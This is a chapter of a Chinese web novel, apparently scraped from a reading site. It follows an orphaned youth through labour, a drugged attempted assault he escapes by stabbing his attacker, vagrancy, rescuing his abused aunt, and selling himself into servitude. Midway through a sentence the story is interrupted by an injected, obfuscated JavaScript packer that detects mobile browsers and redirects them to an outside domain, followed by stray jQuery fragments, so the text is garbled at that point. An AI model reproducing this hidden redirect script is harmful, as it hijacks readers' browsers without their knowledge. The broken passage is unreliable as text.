7. 第 7 章

作品:《天之骄子对我真香了

    陈宁安来到阳城后,他的钱所剩无几,但好在大城池机会多,很多地方都招收伙计。


    就在陈宁安即将断炊的时候,他找到了一个搬运石头的活儿,管吃管住。


    可惜干了没多久,矿洞塌了,砸死了很多人,管事的跑了,陈宁安一分工钱没拿到,但已经很幸运了,最起码捡回了一条命。


    他后来陆陆续续做了很多活,但都是短工,干不长,又苦,工钱也总结不清。


    最后,他找到了一个在灵田除草移栽的活。


    他以前做惯了农活,因此这活上手很快。


    他在这家常干了下去,他移栽的灵植,无一死亡,全都活得好好的,长得比其他的灵植都茂盛。


    管事很开心,给他涨了月钱,让他自己一个人住单间,每个月还有三天的假期。


    十七岁生辰那天,陈宁安给自己买了二两猪腿肉。


    第二天。


    他迎着刚升起的太阳,走向灵田时,内心怀揣着对以后的向往。


    日子总会越过越好的。


    这里管吃管住,陈宁安在这里待了半年多,平时过得十分节俭,几乎不曾有额外花费,他想多攒些钱,以后做个小生意,不想一直给别人做工。


    他平时穿的都是发的杂役服,从没做过新衣服。


    那天,管事和他说,一个药铺掌柜的女儿相中了他,让他去扯块布,做身新衣裳,好好收拾收拾,去见见那位姑娘。


    他推辞了,说了自己的情况,父母双亡,身无长物,自己一个人在外地漂泊。


    管事笑了起来,说那掌柜就是相中了他这情况,掌柜就这一个闺女,想招他做上门女婿,他长得齐整,又能写会算,以后好帮他女儿打理药铺。


    陈宁安依旧不想去,可是管事一直撺掇他,管事说他与这位掌柜关系很好,就算给他个面子,好歹去见一见,不成就算了。


    陈宁安眼见管事变了脸色,怕得罪他,便去街上扯了一块最便宜的布,做了身新衣裳。


    他傍晚做完工,用凉水冲了个澡,换上新衣裳去了药铺。


    药铺掌柜对他很热情,殷切地招呼他喝茶吃点心。


    陈宁安觉得不太自在,他端起茶杯,只略沾了嘴皮子。


    掌柜说他闺女在后院,让他过去见。


    陈宁安当时没有多想,便抬脚往后院去。


    他刚进入后院,走了没两步,身后突然传来咣当一声。


    门被关上了。


    后院里没有姑娘,只有掌柜这个三十多岁、看着他目露淫邪的男人。


    掌柜说,只要他乖乖听话,由着他摆弄,以后就不用在灵田辛苦做工了,每天好吃好穿,每月还会额外给他一百金。


    陈宁安不同意。


    水里下了药,所幸陈宁安喝得不多,只是略有些头晕。


    掌柜是个成年男人,陈宁安与他身高相仿,但是身形比他瘦了两圈。


    好在陈宁安从小做活,做跑腿又东奔西跑,天天在田地里风吹日晒、搬搬扛扛,力气比较大,弥补了身形的差距。


    他与掌柜打斗时,把一根尖锐的铁钎插进了掌柜的心口。


    掌柜嘴里、胸口都流了很多血。


    陈宁安没有确认他的死活,直接跑了。


    等入了夜,管事离开灵田后,陈宁安悄悄回到住处,挖出了自己埋在树下的积蓄,趁着夜色离开了阳城。


    他徒步走了半个多月,来到了另一个城池,他站在城门口,看到了城墙上张贴的通缉令。


    画像上是一个有络腮胡的中年男人,瞧着四五十岁。


    恍惚中,陈宁安觉得通缉令上是他自己的脸。


    他转身离开了。


    从那以后,他再也没有去过城里,一直在村镇之间辗转。


    他身上的衣服总是脏乱的,头发凌乱地盖住脸,走路时总低着头看路。


    修长匀称的少年身形被佝偻的姿态破坏,毫无美感。


    陈宁安就这样一直混迹在村镇之间,勉强糊口度日。


    他总是居无定所,有时候睡在桥洞底下,有时候睡在无人居住的门楣下。


    冬天最是难熬,他裹着露出棉絮的被子,躺在四处漏风的桥洞底下,很多个夜晚,他都觉得自己撑不下去了。


    那段日子对陈宁安来说有些模糊,浑浑噩噩的。


    直到有一天,他走在路上,突然有人对着他,喊出了他的名字。


    陈宁安仿佛如梦初醒。


    那人是他同村的人,那人告诉他,他走后不久,他叔叔染上了赌瘾,房子田地都卖了,叔叔输了钱没地撒气,在家整天打他婶婶,如今他叔叔把他的婶婶当作暗娼卖给别人,得来的嫖资又拿去赌。


    陈宁安木愣地点头,说知道了。


    他几乎花掉了自己大半的积蓄,雇了一辆骡车赶回去。


    途中,路过一片竹林,他掰了一根结实的竹子,拿一块石头磨着,等回到家,竹子已经磨成了一根尖锐的竹刺。


    他站在村口时,遇见了以前的村民。


    “是宁安吗?”


    “宁安回来了?”


    “真的是宁安吗?都长这么高了!”


    有人引着他往村尾那处草屋走,远远的,就听见了怒吼声和打骂声,还有一道夹在中间微弱的女人抽泣声。


    一位大娘扯着陈宁安的袖子往回拉。


    “宁安啊,先来我家喝口水吧,晚些时候再回去。”


    陈宁安挣开手臂,脚步很坚定,他大步往草屋里走,伸手推开那扇单薄的门板。


    陈宁安站在门口,瘦削的身形在夕阳的投射下,形成了一个庞大晦暗的阴影。


    喝得醉醺醺的男人被吓醒了。


    他看着陈宁安那双漠然到诡异的眼睛,虚张声势地大吼。


    “老子就知道!你是个不叫唤却咬人的凶狗,如今长大了,翅膀硬了,敢反抗我了是不是!”


    陈宁安一语不发,面无表情地走到他身前。


    男人紧张地咽了咽吐沫,十八岁的陈宁安,身高早就超过了他。


    男人害怕地往后退。


    这个狼崽子从来没有屈服过他,以前只是年纪小,没办法反抗,才装作一副温顺的样子,可现在狼崽子长大了,怎么可能再当狗呢。


    这时,婶婶捂着流血的脑袋,摇摇晃晃地爬起来,推着陈宁安往外走。


    “谁让你回来的,还不快走,以后家里都没你的饭。”


    陈宁安站着没动,撑着她虚弱的身体。


    他走时,这个女人还不到三十岁,有着乌黑的头发,丰腴饱满的脸颊,身形强壮,背着十一岁的他,一口气能走两里路。


    如今不过过去五年,她头上生出许多白发,双眼浑浊,脸颊凹陷,身形佝偻,一副枯槁之相。


    这个女人用自己满是淤青的手臂,推着陈宁安往外走,她张着流血的嘴,劝他赶紧离开。


    陈宁安攥紧手中的竹刺,反手推她,让她离开这里。


    叔叔看见了陈宁安眼中的阴晦和狠绝,心中大惊,他什么也顾不上,爬起来就往外跑。


    陈宁安甩开婶婶的手,上前照着他的后心猛踹一脚,叔叔哀嚎一声,直直往前趔趄,砰的一声,砸倒了单薄的门板。


    陈宁安握紧竹刺上前,却被婶婶牢牢攥住手臂,连声哀求。


    “不能杀他,宁安,你是个好孩子,好孩子不能杀人。”


    “你还年轻,走远点,以后别回来了,就当他已经死了。”


    “宁安!宁安!不能杀他!你不能杀人……”


    趁陈宁安被拖住的间隙,叔叔爬起来跑远了。


    这时手臂的桎梏松了,陈宁安转头去看,就见婶婶昏了过去。


    她嘴里吐出暗红的淤血,从额头流下来的鲜红血液,一直蜿蜒到脖颈。


    陈宁安拆下门板,将婶婶搁在门板上,拉着她去城里看病。


    去了两家医馆,都说婶婶已经油尽灯枯,没几天好活了。


    陈宁安拉着她去了第三家医馆,这家医馆最近两年新开的,听说一直以来都是免费为人诊脉。


    医馆的大夫说他婶婶这病好治,只需要一瓶养元丹即可。


    陈宁安听完惊讶,这座小城里居住的都是凡人,从未有过修士。


    他知道养元丹,价格高昂,别说一瓶,以他现在的积蓄,连半颗都买不起。


    他坐在地上发愣,想着去哪筹钱。


    这时,桌上的一颗石头不小心掉了下来,咕噜咕噜地滚到了陈宁安脚边,他捡起来递给大夫。


    黑色的石头在他手中显出了淡淡青光。


    下一瞬,大夫突然闪现在他身边,激动地握住了他的手腕。


    大夫说他走了狗屎运,以后就有过不完的好日子了。


    陈宁安转头望着床上气若游丝的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234781|181827||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    女人。


    小时候,如果不是这个女人明里暗里地护着他,给他吃的、穿的,或许他早就冻死、饿死了。


    陈宁安没怎么犹豫,就在卖身契上按下了自己的血印。


    当天婶婶就吃到了三百金一颗的养元丹,她的气色肉眼可见地好转起来。


    陈宁安从来没有想过,他自己会值这么多钱,他将剩下的九千七百金留给了婶婶。


    第二天,就有人来带他走。


    他拼了命折腾的那些年,双腿却一直陷在淤泥里,从未拔出过。


    如今,他签了卖身契,以为自己会彻底陷入一个更深的泥潭里,却过上了自己之前梦寐以求的生活。


    他现在顿顿有饭吃,有干净衣服穿,每天能洗热水澡,有能遮风挡雨的地方睡,还能坐在课室里上课。


    陈宁安低头看着自己满是厚茧的双手,听着耳旁清晰的读书声,扯着嘴角笑了笑。


    ……


    族学只在上午有课,午饭后,衡明带着一男一女来到小楼前。


    他看着陈宁安,不知道如何称呼,只好含混过去:“这两位是给你授课的人。”


    陈宁安点头。


    这两人看着都是二十多岁,女的秀美,男的俊朗。


    陈宁安先开口,恭敬地躬身参拜:“学生陈宁安,见过两位师长。”


    两人对视一眼,皆从对方眼中看到茫然,他们一同转头看着衡明。


    这怎么回事,谁给谁见礼?


    衡明错开眼神,逃避了这个问题。


    这时,雪翎闪着翅膀飞过来,呼喊道:“宁安!你要的笔墨纸砚,我给你找来了。”


    陈宁安笑着接过来:“谢谢。”


    雪翎擦着他飞过:“客气什么,那你上课吧。”


    他又飞到衡明身边,用翅膀尖儿扇他的脑袋:“你好好教,别凶宁安。”


    衡明面露无奈,心想扇错人了,不是他教。


    他也没解释,只道:“好,你放心离开吧,我们一定对宁安态度温和。”


    雪翎嘿嘿一笑,扇动翅膀飞走了。


    几人进到楼里。


    授课开始,男师父先教陈宁安站姿,女师父变出一个精致的木偶,几乎与真人无异,木偶摆在陈宁安面前,女师父缓慢地演示,教他如何穿衣束发。


    下半晌。


    陈宁安练习坐姿,同时,手上练习斟茶。


    这些仪态、礼仪,都是用来取悦伺候人的。


    男师父手执一根玉箫,轻轻点在陈宁安左肩:“肩头往上提一些,这样肩颈线条流畅,才能显得体态优美。”


    陈宁安依言照做,他眼睛微垂,一点点敛下眼皮,纤长的眼睫掩盖了他的眼神。


    临近黄昏时,雪翎一脑袋扎进屋里,扯着陈宁安的袖子往外拽:“快出来!绿妩让你现在去二少爷门口扫地。”


    陈宁安垮下僵硬的肩膀:“我课还没上完。”


    “还上什么课,快走快走!”雪翎一个劲儿拽他,“绿妩说了,让你现在就去。”


    衡明道:“既然是绿妩姑娘的吩咐,那今天的课就上到这里吧。”


    陈宁安朝三人点头示意,随着雪翎往外走。


    那位女师父看着陈宁安的背影,感叹道:“他学得挺快,每一项都做得很到位。”


    男师父赞同点头:“确实,就像之前学过一样。”


    ……


    楚铮院门口。


    陈宁安拿着扫帚,清扫一尘不染的地砖。


    雪翎站在他身边,疑惑道:“这地也不脏啊,雪白雪白的,看着比我都干净。”


    陈宁安笑了下,抬头瞧了一眼,后退两步,处于一个离院门口不远不近的距离。


    此时,天边的夕阳照在远处的群山之上,那片银白的瀑布染上一层浅淡的红色,远远望去,美不胜收。


    陈宁安低着头认真扫地,脚上是全新的鞋子,虽然大了点,但是穿着很舒服。


    他现在身上很暖和,腹中也不饥饿。


    陈宁安抬起头,望着不远处正朝门口大步走来的少年。


    陈宁安往前走了几步,朝着少年,露出一个真心实意的笑容:“见过二少爷。”


    楚铮脚步一滞,看着眼前的人,疑惑地皱了皱眉。


    很快,楚铮脸上的神情阴沉下来,显然是认出了陈宁安。


    他语气烦躁:“怎么又是你?”